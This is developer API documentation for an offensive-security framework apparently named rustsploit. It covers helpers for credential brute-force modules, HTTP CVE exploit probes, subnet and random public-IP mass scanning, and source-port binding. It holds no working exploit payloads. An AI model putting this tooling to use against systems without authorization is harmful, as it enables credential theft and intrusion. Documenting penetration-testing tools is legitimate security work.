| **Module Info** | `crate::module_info` | `ModuleInfo`, `ModuleRank`, `CheckResult` types for `info()`/`check()` |
|
||||
| **Spool** | `crate::spool` | Console output logging. Call `spool::sprintln()` for spool-aware output |
|
||||
| **Jobs** | `crate::jobs` | Background job management via `JOB_MANAGER` |
|
||||
| **Export** | `crate::export` | Export engagement data to JSON/CSV/summary |
|
||||
|
||||
---
|
||||
|
||||
## `crate::utils` — Core Utilities
|
||||
|
||||
### `load_lines(path) → Result<Vec<String>>`
|
||||
|
||||
Reads a file line-by-line, trims whitespace, and drops empty lines. The standard way to load wordlists, username files, or any line-delimited input.
|
||||
|
||||
```rust
|
||||
use crate::utils::load_lines;
|
||||
|
||||
let passwords = load_lines("passwords.txt")?;
|
||||
for pw in &passwords {
|
||||
// each entry is trimmed, non-empty
|
||||
}
|
||||
```
|
||||
|
||||
| Parameter | Type | Description |
|
||||
|-----------|------|-------------|
|
||||
| `path` | `impl AsRef<Path>` | Path to the file to read |
|
||||
|
||||
**Returns:** `Vec<String>` of non-empty, trimmed lines. Errors if the file cannot be opened.
|
||||
|
||||
---
|
||||
|
||||
### `normalize_target(raw) → Result<String>`
|
||||
|
||||
Comprehensive target normalization and validation. This is the **single entry point** for converting any user-supplied target into a consistent format.
|
||||
|
||||
```rust
|
||||
use crate::utils::normalize_target;
|
||||
|
||||
let target = normalize_target(user_input)?;
|
||||
// target is now in one of:
|
||||
// "192.168.1.1" (IPv4)
|
||||
// "192.168.1.1:8080" (IPv4 + port)
|
||||
// "[::1]" (IPv6)
|
||||
// "[::1]:8080" (IPv6 + port)
|
||||
// "example.com" (hostname)
|
||||
// "192.168.1.0/24" (CIDR)
|
||||
```
|
||||
|
||||
| Input Format | Example |
|
||||
|--------------|---------|
|
||||
| IPv4 | `192.168.1.1` |
|
||||
| IPv4 + port | `192.168.1.1:8080` |
|
||||
| IPv6 | `::1`, `2001:db8::1` |
|
||||
| IPv6 + port | `[::1]:8080` |
|
||||
| Hostname | `example.com`, `example.com:443` |
|
||||
| URL | `http://example.com:8080` → extracts `example.com:8080` |
|
||||
| CIDR | `192.168.1.0/24`, `2001:db8::/32` |
|
||||
|
||||
**Security:** Validates against DoS-length abuse (max 2048 chars), control characters, and path traversal patterns (`..`, `//`).
|
||||
|
||||
---
|
||||
|
||||
### Config-Aware Prompt Wrappers (`cfg_prompt_*`)
|
||||
|
||||
These are the **recommended prompts for module authors**. They check `ModuleConfig.custom_prompts` first (populated by the API), falling back to interactive stdin when running in shell mode. This makes your module work seamlessly in both shell and API modes.
|
||||
|
||||
#### `cfg_prompt_required(key, msg) → Result<String>`
|
||||
|
||||
Required string prompt with no default. In API mode, errors if the key is missing from `custom_prompts`. Priority: custom_prompts > run_context target (for "target" key) > global_options > interactive stdin.
|
||||
|
||||
```rust
|
||||
use crate::utils::cfg_prompt_required;
|
||||
|
||||
let community = cfg_prompt_required("community", "SNMP community string").await?;
|
||||
```
|
||||
|
||||
| Parameter | Type | Description |
|
||||
|-----------|------|-------------|
|
||||
| `key` | `&str` | Lookup key in `ModuleConfig.custom_prompts` |
|
||||
| `msg` | `&str` | Prompt message shown to user in shell mode |
|
||||
|
||||
**Errors** in API mode if key is missing (required field).
|
||||
|
||||
---
|
||||
|
||||
#### `cfg_prompt_yes_no(key, msg, default_yes) → Result<bool>`
|
||||
|
||||
Boolean prompt. Accepts `y/yes/true/1` and `n/no/false/0`.
|
||||
|
||||
```rust
|
||||
use crate::utils::cfg_prompt_yes_no;
|
||||
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Enable verbose output?", false)?;
|
||||
```
|
||||
|
||||
| Parameter | Type | Description |
|
||||
|-----------|------|-------------|
|
||||
| `key` | `&str` | Lookup key in `ModuleConfig.custom_prompts` |
|
||||
| `msg` | `&str` | Prompt message shown to user in shell mode |
|
||||
| `default_yes` | `bool` | Default when input is empty or key absent in API mode |
|
||||
|
||||
---
|
||||
|
||||
#### `cfg_prompt_existing_file(key, msg) → Result<String>`
|
||||
|
||||
Prompts for a file path. Validates the file exists, rejects path traversal (`..`), symlinks, and control characters.
|
||||
|
||||
```rust
|
||||
use crate::utils::cfg_prompt_existing_file;
|
||||
|
||||
let wordlist = cfg_prompt_existing_file("password_wordlist", "Password wordlist file")?;
|
||||
let lines = load_lines(&wordlist)?;
|
||||
```
|
||||
|
||||
| Parameter | Type | Description |
|
||||
|-----------|------|-------------|
|
||||
| `key` | `&str` | Prompt key for API mode |
|
||||
| `msg` | `&str` | Interactive prompt message |
|
||||
|
||||
**Errors** in API mode if key is missing (required field).
|
||||
|
||||
---
|
||||
|
||||
#### `cfg_prompt_int_range(key, msg, default, min, max) → Result<i64>`
|
||||
|
||||
Integer prompt with range validation.
|
||||
|
||||
```rust
|
||||
use crate::utils::cfg_prompt_int_range;
|
||||
|
||||
let threads = cfg_prompt_int_range("threads", "Number of threads", 10, 1, 100)?;
|
||||
let delay = cfg_prompt_int_range("delay_ms", "Delay between attempts (ms)", 50, 0, 60000)?;
|
||||
```
|
||||
|
||||
| Parameter | Type | Description |
|
||||
|-----------|------|-------------|
|
||||
| `key` | `&str` | Prompt key |
|
||||
| `msg` | `&str` | Interactive prompt message |
|
||||
| `default` | `i64` | Default value |
|
||||
| `min` | `i64` | Minimum allowed value |
|
||||
| `max` | `i64` | Maximum allowed value |
|
||||
|
||||
---
|
||||
|
||||
#### `cfg_prompt_default(key, msg, default) → Result<String>`
|
||||
|
||||
Generic string prompt with a default value.
|
||||
|
||||
```rust
|
||||
use crate::utils::cfg_prompt_default;
|
||||
|
||||
let method = cfg_prompt_default("http_method", "HTTP method", "GET")?;
|
||||
```
|
||||
|
||||
| Parameter | Type | Description |
|
||||
|-----------|------|-------------|
|
||||
| `key` | `&str` | Prompt key |
|
||||
| `msg` | `&str` | Interactive prompt message |
|
||||
| `default` | `&str` | Default value when empty |
|
||||
|
||||
---
|
||||
|
||||
#### `cfg_prompt_port(key, msg, default) → Result<u16>`
|
||||
|
||||
Port number prompt. Validates range 1–65535.
|
||||
|
||||
```rust
|
||||
use crate::utils::cfg_prompt_port;
|
||||
|
||||
let port = cfg_prompt_port("port", "Target port", 22)?;
|
||||
```
|
||||
|
||||
| Parameter | Type | Description |
|
||||
|-----------|------|-------------|
|
||||
| `key` | `&str` | Prompt key |
|
||||
| `msg` | `&str` | Interactive prompt message |
|
||||
| `default` | `u16` | Default port number |
|
||||
|
||||
---
|
||||
|
||||
#### `cfg_prompt_output_file(key, msg, default) → Result<String>`
|
||||
|
||||
Output filename prompt. **Forces basename only** — strips any directory path to prevent traversal. Rejects hidden files (starting with `.`) and filenames over 255 chars.
|
||||
|
||||
```rust
|
||||
use crate::utils::cfg_prompt_output_file;
|
||||
|
||||
let output = cfg_prompt_output_file("output_file", "Output file", "results.txt")?;
|
||||
// output is guaranteed to be a safe basename like "results.txt"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
#### `cfg_prompt_wordlist(key, msg) → Result<String>`
|
||||
|
||||
Wordlist file prompt. Validates the file exists, rejects path traversal and unsafe paths (same security as `cfg_prompt_existing_file`). Priority: custom_prompts > global_options > interactive stdin.
|
||||
|
||||
```rust
|
||||
use crate::utils::cfg_prompt_wordlist;
|
||||
|
||||
let wordlist = cfg_prompt_wordlist("wordlist", "Path to wordlist file").await?;
|
||||
let lines = load_lines(&wordlist)?;
|
||||
```
|
||||
|
||||
| Parameter | Type | Description |
|
||||
|-----------|------|-------------|
|
||||
| `key` | `&str` | Prompt key for API mode |
|
||||
| `msg` | `&str` | Interactive prompt message |
|
||||
|
||||
**Errors** in API mode if key is missing (required field). Also errors if the file does not exist.
|
||||
|
||||
---
|
||||
|
||||
### Complete Module Integration Example
|
||||
|
||||
Here's a typical native module using core utils:
|
||||
|
||||
```rust
|
||||
use anyhow::{Context, Result};
|
||||
use crate::module::{ModuleCtx, ModuleOutcome};
|
||||
use crate::utils::{
|
||||
load_lines,
|
||||
cfg_prompt_yes_no, cfg_prompt_existing_file,
|
||||
cfg_prompt_int_range, cfg_prompt_port,
|
||||
cfg_prompt_output_file,
|
||||
};
|
||||
|
||||
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
let target = ctx.target.as_single().context("requires single target")?;
|
||||
let mut outcome = ModuleOutcome::ok();
|
||||
|
||||
let port = cfg_prompt_port("port", "Target port", 22).await?;
|
||||
let user_file = cfg_prompt_existing_file("user_wordlist", "Username wordlist").await?;
|
||||
let pass_file = cfg_prompt_existing_file("pass_wordlist", "Password wordlist").await?;
|
||||
let threads = cfg_prompt_int_range("threads", "Threads", 10, 1, 100).await? as usize;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;
|
||||
let output = cfg_prompt_output_file("output_file", "Output file", "results.txt").await?;
|
||||
|
||||
let users = load_lines(&user_file)?;
|
||||
let passwords = load_lines(&pass_file)?;
|
||||
|
||||
crate::mprintln!("[*] Targeting {} with {} users × {} passwords", target, users.len(), passwords.len());
|
||||
// ... bruteforce logic using tcp_connect_str for source port support ...
|
||||
Ok(outcome)
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## `crate::utils::creds_helper` — Single-Target Credential Harness (v0.5.5+)
|
||||
|
||||
The preferred way to write a credential brute-force module. Wraps: target parsing,
|
||||
TCP precheck, wordlist prompts, brute-force engine wiring, loot persistence,
|
||||
workspace tracking, and `Finding` emission.
|
||||
|
||||
```rust
|
||||
use crate::utils::creds_helper::{self, CredsRun};
|
||||
use crate::utils::LoginResult;
|
||||
|
||||
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
let target = ctx.target.as_single().context("requires single target")?;
|
||||
creds_helper::run(
|
||||
target,
|
||||
CredsRun {
|
||||
service_name: "myproto",
|
||||
default_port: 1234,
|
||||
source_module: "creds/generic/myproto_bruteforce",
|
||||
defaults: &[("admin", "admin")],
|
||||
password_only: false,
|
||||
},
|
||||
|host, port, user, pass, timeout| async move {
|
||||
probe(&host, port, &user, &pass, timeout).await
|
||||
},
|
||||
)
|
||||
.await
|
||||
}
|
||||
```
|
||||
|
||||
### Probe closure signature
|
||||
|
||||
```rust
|
||||
Fn(String, u16, String, String, Duration) -> Future<Output = LoginResult>
|
||||
```
|
||||
|
||||
The fifth parameter (`Duration`) is the user-configured timeout from `setg timeout N`
|
||||
or the interactive prompt. It is passed through to the probe so inner functions honour
|
||||
the operator's setting — no hardcoded timeouts inside probes.
|
||||
|
||||
### Utility functions
|
||||
|
||||
| Function | Description |
|
||||
|----------|-------------|
|
||||
| `connect_with_timeout(addr, deadline)` | Async TCP connect via framework wrapper → `io::Result<TcpStream>` |
|
||||
| `read_exact_with_timeout(reader, buf, deadline)` | Exact-read with timeout, flattened error |
|
||||
| `parse_host_port(target, default_port)` | Public `(host, port)` splitter |
|
||||
|
||||
### Modules using creds_helper
|
||||
|
||||
All 13 generic credential modules: `couchdb`, `elasticsearch`, `fortinet`,
|
||||
`l2tp`, `memcached`, `mqtt`, `mysql`, `postgres`, `rdp`, `rtsp`, `snmp`,
|
||||
`telnet`, `vnc` bruteforces.
|
||||
|
||||
---
|
||||
|
||||
## `crate::utils::exploit_helper` — HTTP Exploit Probe Helpers (v0.5.5+)
|
||||
|
||||
Shared helpers for single-target CVE exploit probes:
|
||||
|
||||
| Function | Description |
|
||||
|----------|-------------|
|
||||
| `http_client(timeout)` | `reqwest::Client` via `build_http_client` |
|
||||
| `marker(prefix)` | Random marker string for echo-based detection |
|
||||
| `report_vulnerable(host, port, cve, summary, payload, source)` | Emit finding + loot |
|
||||
| `report_not_vulnerable(host, port, reason)` | Log not-vulnerable result |
|
||||
| `scheme_for(port)` | Returns `"https"` for 443/8443, `"http"` otherwise |
|
||||
|
||||
Used by 18+ exploit modules to reduce each to ~50 LOC.
|
||||
|
||||
---
|
||||
|
||||
## `crate::modules::creds::utils` — Credential Module Utilities
|
||||
|
||||
Import path:
|
||||
|
||||
```rust
|
||||
use crate::modules::creds::utils::{
|
||||
BruteforceStats, is_subnet_target, parse_subnet, subnet_host_count,
|
||||
generate_random_public_ip, is_ip_checked, mark_ip_checked, parse_exclusions,
|
||||
};
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `BruteforceStats`
|
||||
|
||||
Thread-safe statistics tracker for bruteforce modules. Uses atomics for counters and a `Mutex<HashMap>` for error categorization. Create one per module run and share via `Arc`.
|
||||
|
||||
```rust
|
||||
use std::sync::Arc;
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
|
||||
let stats = Arc::new(BruteforceStats::new());
|
||||
|
||||
// In each worker task:
|
||||
let stats = Arc::clone(&stats);
|
||||
tokio::spawn(async move {
|
||||
match attempt_login(&host, &user, &pass).await {
|
||||
Ok(true) => stats.record_success(),
|
||||
Ok(false) => stats.record_failure(),
|
||||
Err(e) => stats.record_error(format!("{}", e)).await,
|
||||
}
|
||||
|
||||
// Show live progress (prints inline with \r)
|
||||
stats.print_progress();
|
||||
});
|
||||
|
||||
// After all tasks complete:
|
||||
stats.print_final().await;
|
||||
```
|
||||
|
||||
#### Methods
|
||||
|
||||
| Method | Async | Description |
|
||||
|--------|-------|-------------|
|
||||
| `BruteforceStats::new()` | No | Create a new stats tracker (starts the timer) |
|
||||
| `.record_success()` | No | Increment total + successful counters |
|
||||
| `.record_failure()` | No | Increment total + failed counters |
|
||||
| `.record_error(msg)` | **Yes** | Increment total + error counters, log error message |
|
||||
| `.record_retry()` | No | Increment retry counter |
|
||||
| `.print_progress()` | No | Print inline progress bar (`\r` overwrite) |
|
||||
| `.print_final()` | **Yes** | Print full statistics summary with top 5 errors |
|
||||
|
||||
---
|
||||
|
||||
### `is_subnet_target(target) → bool`
|
||||
|
||||
Check if a target string is CIDR notation (e.g., `192.168.8.0/21`). Use this to branch between single-host and subnet-scan logic.
|
||||
|
||||
```rust
|
||||
use crate::modules::creds::utils::is_subnet_target;
|
||||
|
||||
if is_subnet_target(&target) {
|
||||
// Iterate subnet
|
||||
} else {
|
||||
// Single host
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `parse_subnet(target) → Result<IpNetwork>`
|
||||
|
||||
Parse a CIDR string into an `ipnetwork::IpNetwork`. **Does NOT allocate a Vec** — callers iterate lazily with `.iter()`, making it safe for any prefix size (`/0` through `/32`).
|
||||
|
||||
```rust
|
||||
use crate::modules::creds::utils::parse_subnet;
|
||||
|
||||
let network = parse_subnet("192.168.1.0/24")?;
|
||||
for ip in network.iter() {
|
||||
println!("Scanning {}", ip);
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `subnet_host_count(net) → u128`
|
||||
|
||||
Returns the number of host IPs in a network. Useful for progress display and ETA calculations.
|
||||
|
||||
```rust
|
||||
use crate::modules::creds::utils::{parse_subnet, subnet_host_count};
|
||||
|
||||
let net = parse_subnet("10.0.0.0/8")?;
|
||||
println!("Scanning {} hosts", subnet_host_count(&net));
|
||||
// → "Scanning 16777216 hosts"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `generate_random_public_ip(exclusions) → IpAddr`
|
||||
|
||||
> **Deprecated for module use.** Random IP generation is now handled by
|
||||
> `scheduler::fanout_random` with `crate::exclusions::ExclusionSet`. Modules
|
||||
> should NOT call this directly — the scheduler does the fan-out.
|
||||
|
||||
Generates a random IPv4 address that is **not** in any excluded range. Automatically skips `10.x.x.x`, `127.x.x.x`, and `0.x.x.x` in addition to the provided exclusion list.
|
||||
|
||||
```rust
|
||||
use crate::modules::creds::utils::{generate_random_public_ip, parse_exclusions};
|
||||
|
||||
let exclusions = parse_exclusions(&[
|
||||
"10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", // Private
|
||||
"100.64.0.0/10", // CGNAT
|
||||
"224.0.0.0/4", // Multicast
|
||||
]);
|
||||
|
||||
let ip = generate_random_public_ip(&exclusions);
|
||||
println!("Random target: {}", ip);
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `parse_exclusions(cidrs) → Vec<IpNetwork>`
|
||||
|
||||
Parses an array of CIDR strings into `IpNetwork` objects for use with `generate_random_public_ip`. Invalid CIDRs are silently skipped.
|
||||
|
||||
```rust
|
||||
use crate::modules::creds::utils::parse_exclusions;
|
||||
|
||||
let excluded = parse_exclusions(&["10.0.0.0/8", "192.168.0.0/16", "not-valid"]);
|
||||
// excluded.len() == 2 (invalid entry silently dropped)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `is_ip_checked(ip, state_file) → bool` / `mark_ip_checked(ip, state_file)`
|
||||
|
||||
Persistent scan-state tracking. Prevents re-scanning the same IP across multiple runs by writing `checked: <ip>` lines to a state file.
|
||||
|
||||
```rust
|
||||
use crate::modules::creds::utils::{is_ip_checked, mark_ip_checked};
|
||||
|
||||
let state_file = "mqtt_cidr_results.txt";
|
||||
|
||||
for ip in network.iter() {
|
||||
if is_ip_checked(&ip, state_file).await {
|
||||
continue; // Already scanned
|
||||
}
|
||||
|
||||
// ... scan the IP ...
|
||||
|
||||
mark_ip_checked(&ip, state_file).await;
|
||||
}
|
||||
```
|
||||
|
||||
| Function | Async | Description |
|
||||
|----------|-------|-------------|
|
||||
| `is_ip_checked(ip, state_file)` | **Yes** | Returns `true` if IP was previously marked. Creates the state file if missing. |
|
||||
| `mark_ip_checked(ip, state_file)` | **Yes** | Appends `checked: <ip>` to the state file. |
|
||||
|
||||
> **Note:** Both functions accept any type implementing `ToString` for the IP parameter.
|
||||
|
||||
---
|
||||
|
||||
## Complete Credential Module Example
|
||||
|
||||
The preferred pattern uses `creds_helper::run` (see the creds_helper section above).
|
||||
For modules that need custom logic beyond the harness:
|
||||
|
||||
```rust
|
||||
use anyhow::{Context, Result};
|
||||
use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};
|
||||
use crate::utils::{
|
||||
load_lines,
|
||||
cfg_prompt_port, cfg_prompt_existing_file,
|
||||
cfg_prompt_int_range, cfg_prompt_yes_no, cfg_prompt_output_file,
|
||||
};
|
||||
|
||||
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
let target = ctx.target.as_single().context("requires single target")?;
|
||||
let mut outcome = ModuleOutcome::ok();
|
||||
|
||||
let port = cfg_prompt_port("port", "Target port", 1883).await?;
|
||||
let user_file = cfg_prompt_existing_file("user_wordlist", "Username wordlist").await?;
|
||||
let pass_file = cfg_prompt_existing_file("pass_wordlist", "Password wordlist").await?;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose?", false).await?;
|
||||
|
||||
let users = load_lines(&user_file)?;
|
||||
let passwords = load_lines(&pass_file)?;
|
||||
|
||||
for user in &users {
|
||||
for pass in &passwords {
|
||||
// Use framework wrappers for source port support
|
||||
let stream = crate::utils::network::tcp_connect_str(
|
||||
&format!("{}:{}", target, port),
|
||||
std::time::Duration::from_secs(10),
|
||||
).await;
|
||||
// ... attempt login ...
|
||||
}
|
||||
}
|
||||
|
||||
Ok(outcome)
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## `crate::config` — Framework Configuration
|
||||
|
||||
Import path:
|
||||
|
||||
```rust
|
||||
use crate::config::{
|
||||
GLOBAL_CONFIG, GlobalConfig, TargetConfig,
|
||||
ModuleConfig, get_module_config, set_module_config, clear_module_config,
|
||||
results_dir,
|
||||
};
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `GLOBAL_CONFIG` (static `GlobalConfig`)
|
||||
|
||||
Thread-safe singleton that holds the current target. Set by the shell (`set target`) or CLI (`--target`). Module code reads it but rarely needs to write to it.
|
||||
|
||||
```rust
|
||||
use crate::config::GLOBAL_CONFIG;
|
||||
|
||||
// Check if a target is set
|
||||
if !GLOBAL_CONFIG.has_target() {
|
||||
println!("No target set!");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Read the target as a string
|
||||
let target = GLOBAL_CONFIG.get_target().unwrap();
|
||||
println!("Targeting: {}", target);
|
||||
```
|
||||
|
||||
#### `GlobalConfig` Methods
|
||||
|
||||
| Method | Returns | Description |
|
||||
|--------|---------|-------------|
|
||||
| `.set_target(target)` | `Result<()>` | Set global target (IP, hostname, or CIDR). Validates input. |
|
||||
| `.get_target()` | `Option<String>` | Get the target as a display string |
|
||||
| `.get_single_target_ip()` | `Result<String>` | Get single IP; for subnets returns the network address |
|
||||
| `.has_target()` | `bool` | Check if any target is set |
|
||||
| `.is_subnet()` | `bool` | `true` if the target is a CIDR subnet |
|
||||
| `.get_target_subnet()` | `Option<IpNetwork>` | Returns the `IpNetwork` if target is a subnet |
|
||||
| `.get_target_size()` | `Option<u64>` | Number of IPs (1 for single, 2^(32-prefix) for subnets) |
|
||||
| `.clear_target()` | `()` | Unset the target |
|
||||
|
||||
#### `TargetConfig` Enum
|
||||
|
||||
```rust
|
||||
use crate::config::TargetConfig;
|
||||
|
||||
pub enum TargetConfig {
|
||||
Single(String), // Single IP or hostname
|
||||
Subnet(IpNetwork), // CIDR subnet
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `ModuleConfig` & API Prompt Keys
|
||||
|
||||
`ModuleConfig` bridges modules to the API. When the API server receives a `/api/run` request, it populates a `ModuleConfig` with the JSON `"prompts"` object. The `cfg_prompt_*` functions in `src/utils/prompt.rs` read these values instead of prompting stdin.
|
||||
|
||||
#### Struct Fields
|
||||
|
||||
```rust
|
||||
pub struct ModuleConfig {
|
||||
pub port: Option<u16>,
|
||||
pub username_wordlist: Option<String>,
|
||||
pub password_wordlist: Option<String>,
|
||||
pub concurrency: Option<usize>,
|
||||
pub stop_on_success: Option<bool>,
|
||||
pub save_results: Option<bool>,
|
||||
pub output_file: Option<String>,
|
||||
pub verbose: Option<bool>,
|
||||
pub combo_mode: Option<bool>,
|
||||
pub custom_prompts: HashMap<String, String>, // ← cfg_prompt_* reads from here
|
||||
pub api_mode: bool, // ← prevents stdin fallback
|
||||
}
|
||||
```
|
||||
|
||||
#### Helper Functions
|
||||
|
||||
| Function | Description |
|
||||
|----------|-------------|
|
||||
| `get_module_config()` | Get a clone of the current config (safe to call from any module) |
|
||||
| `set_module_config(config)` | Set the config (called by API server before module execution) |
|
||||
| `clear_module_config()` | Reset to defaults (called after module execution) |
|
||||
|
||||
```rust
|
||||
use crate::config::get_module_config;
|
||||
|
||||
let config = get_module_config();
|
||||
if config.api_mode {
|
||||
// Running via API — don't expect stdin
|
||||
}
|
||||
if let Some(port) = config.port {
|
||||
// Use pre-configured port
|
||||
}
|
||||
```
|
||||
|
||||
#### Standardized API Prompt Keys
|
||||
|
||||
When building API requests, use these standardized keys in the `"prompts"` JSON object:
|
||||
|
||||
**Common keys (most modules):**
|
||||
|
||||
| Key | Type | Description |
|
||||
|-----|------|-------------|
|
||||
| `port` | u16 | Target service port |
|
||||
| `timeout` | int | Connection timeout (seconds or ms) |
|
||||
| `verbose` | y/n | Verbose output |
|
||||
| `save_results` | y/n | Save results to file |
|
||||
| `output_file` | string | Output filename |
|
||||
| `concurrency` | int | Concurrent threads/tasks |
|
||||
| `threads` | int | Alias for concurrency |
|
||||
| `wordlist` | path | Path to wordlist file |
|
||||
| `target_file` | path | File containing targets |
|
||||
| `mode` | string | Operation mode (1, 2, 3, etc.) |
|
||||
|
||||
**Scanner-specific keys** (see full list in `config.rs` doc comments):
|
||||
- Port Scanner: `port_range`, `scan_method`, `show_only_open`
|
||||
- Dir Brute: `scan_mode`, `delay_ms`, `random_agent`, `use_https`
|
||||
- Sequential Fuzzer: `min_length`, `max_length`, `charset`, `encoding`
|
||||
- API Endpoint Scanner: `output_dir`, `use_spoofing`, `enable_delete`, `modules`
|
||||
|
||||
---
|
||||
|
||||
### `results_dir() → PathBuf`
|
||||
|
||||
Returns `~/.rustsploit/results/`, creating it if needed. Use this when saving module output in API mode.
|
||||
|
||||
```rust
|
||||
use crate::config::results_dir;
|
||||
|
||||
let out_path = results_dir().join("scan_output.txt");
|
||||
std::fs::write(&out_path, results)?;
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Constants
|
||||
|
||||
| Constant | Value | Purpose |
|
||||
|----------|-------|---------|
|
||||
| `MAX_TARGET_LENGTH` | 2048 | Maximum target string length |
|
||||
| `MAX_MODULE_PATH_LENGTH` | 512 | Maximum module path length |
|
||||
| `MAX_COMMAND_LENGTH` | 8192 | Maximum command/input length |
|
||||
| `MAX_PATH_LENGTH` | 4096 | Maximum file path length |
|
||||
| `MAX_HOSTNAME_LENGTH` | 253 | Maximum hostname length (config.rs) |
|
||||
|
||||
---
|
||||
|
||||
## `crate::utils::network` — Network Utilities
|
||||
|
||||
Import path:
|
||||
|
||||
```rust
|
||||
use crate::utils::network::{
|
||||
build_http_client, build_http_client_with, HttpClientOpts,
|
||||
tcp_connect_addr, tcp_connect_str, tcp_connect, tcp_port_open,
|
||||
blocking_tcp_connect, udp_bind, quick_honeypot_check,
|
||||
};
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `build_http_client(timeout) → Result<Client>`
|
||||
|
||||
Returns the shared permissive `reqwest::Client` (danger-accept invalid certs, no redirect limit). Use this instead of hand-rolling `reqwest::Client::builder()`.
|
||||
|
||||
As of the 2026-06-13 release this client is **cached and reused** — it is keyed by `(timeout, accept_invalid_certs)` and returned as a cheap `Arc` clone, so warm connections and TLS setup are shared across runs (reqwest clients are `Arc` internally and share their connection pool across clones) instead of rebuilt per call. `accept_invalid_certs` is part of the key, so toggling `setg strict_tls` is honored rather than pinned to the first build. The cached client also sets a bounded `pool_idle_timeout` (30s) so a long mass scan reaps idle keep-alives. Custom-opts clients from `build_http_client_with` (cookies / headers / redirects) are *not* cached.
|
||||
|
||||
```rust
|
||||
use crate::utils::network::build_http_client;
|
||||
|
||||
let client = build_http_client(Duration::from_secs(10))?;
|
||||
let resp = client.get(&url).send().await?;
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `build_http_client_with(timeout, opts) → Result<Client>`
|
||||
|
||||
Extended HTTP client builder with additional options.
|
||||
|
||||
```rust
|
||||
use crate::utils::network::{build_http_client_with, HttpClientOpts};
|
||||
|
||||
let client = build_http_client_with(Duration::from_secs(10), HttpClientOpts {
|
||||
cookie_store: true,
|
||||
follow_redirects: true,
|
||||
user_agent: Some("Mozilla/5.0".to_string()),
|
||||
..HttpClientOpts::default()
|
||||
})?;
|
||||
```
|
||||
|
||||
#### `HttpClientOpts` Fields
|
||||
|
||||
| Field | Type | Default | Description |
|
||||
|-------|------|---------|-------------|
|
||||
| `cookie_store` | `bool` | `false` | Enable cookie jar |
|
||||
| `follow_redirects` | `bool` | `false` | Follow HTTP redirects |
|
||||
| `user_agent` | `Option<String>` | `None` | Custom User-Agent header |
|
||||
| `default_headers` | `Option<HeaderMap>` | `None` | Default headers for all requests |
|
||||
|
||||
---
|
||||
|
||||
### `tcp_connect_addr(addr, timeout) → io::Result<TcpStream>`
|
||||
|
||||
Async TCP connection to a `SocketAddr` with timeout and **source port binding**.
|
||||
When `setg source_port <port>` is active, the socket is bound to that port via
|
||||
`socket2` before connecting. Uses `SO_REUSEADDR` (and `SO_REUSEPORT` on Linux)
|
||||
so concurrent mass-scan tasks can share the same source port.
|
||||
|
||||
Preferred over raw `TcpStream::connect` — respects global source port setting.
|
||||
|
||||
```rust
|
||||
use crate::utils::network::tcp_connect_addr;
|
||||
|
||||
let stream = tcp_connect_addr(addr, Duration::from_secs(5)).await?;
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `tcp_connect_str(addr_str, timeout) → io::Result<TcpStream>`
|
||||
|
||||
Async TCP connection from a `"host:port"` string. Resolves DNS and connects.
|
||||
Same source port binding as `tcp_connect_addr`.
|
||||
|
||||
---
|
||||
|
||||
### `tcp_port_open(ip, port, timeout) → bool`
|
||||
|
||||
Quick async check if a TCP port is open.
|
||||
|
||||
---
|
||||
|
||||
### `blocking_tcp_connect(addr, timeout) → io::Result<std::net::TcpStream>`
|
||||
|
||||
Synchronous TCP connection for use in `spawn_blocking` contexts. Same source
|
||||
port binding as the async variants. Used when third-party libraries require
|
||||
a `std::net::TcpStream` (e.g. `telnet` crate's `Telnet::from_stream`).
|
||||
|
||||
---
|
||||
|
||||
### `udp_bind(target_ip) → io::Result<UdpSocket>`
|
||||
|
||||
Binds a UDP socket to the appropriate address family (IPv4 or IPv6) for the target.
|
||||
When `setg source_port <port>` is active, binds to that source port.
|
||||
|
||||
---
|
||||
|
||||
### Source port binding details
|
||||
|
||||
All four TCP/UDP wrappers read `GlobalOptions::get("source_port")` at call time.
|
||||
The implementation uses `socket2::Socket` to:
|
||||
|
||||
1. Create a socket with the correct address family
|
||||
2. Set `SO_REUSEADDR` (and `SO_REUSEPORT` on Linux) for concurrent mass-scan compatibility
|
||||
3. Bind to `0.0.0.0:<source_port>` (or `[::]:<source_port>` for IPv6)
|
||||
4. Connect to the target
|
||||
|
||||
**Third-party library integration:** Libraries that normally create their own
|
||||
TCP connections (suppaftp, telnet crate) must receive a pre-connected stream
|
||||
from these wrappers:
|
||||
|
||||
```rust
|
||||
// FTP via suppaftp
|
||||
let tcp = tcp_connect_str(&addr, timeout).await?;
|
||||
let ftp = AsyncFtpStream::connect_with_stream(tcp).await?;
|
||||
|
||||
// FTPS via suppaftp
|
||||
let tcp = tcp_connect_str(&addr, timeout).await?;
|
||||
let ftp_plain = AsyncNativeTlsFtpStream::connect_with_stream(tcp).await?;
|
||||
let ftp_tls = ftp_plain.into_secure(connector, domain).await?;
|
||||
|
||||
// Telnet (blocking, via spawn_blocking)
|
||||
let tcp = blocking_tcp_connect(&socket_addr, timeout)?;
|
||||
let telnet = Telnet::from_stream(Box::new(tcp), 500);
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `quick_honeypot_check(ip) → bool`
|
||||
|
||||
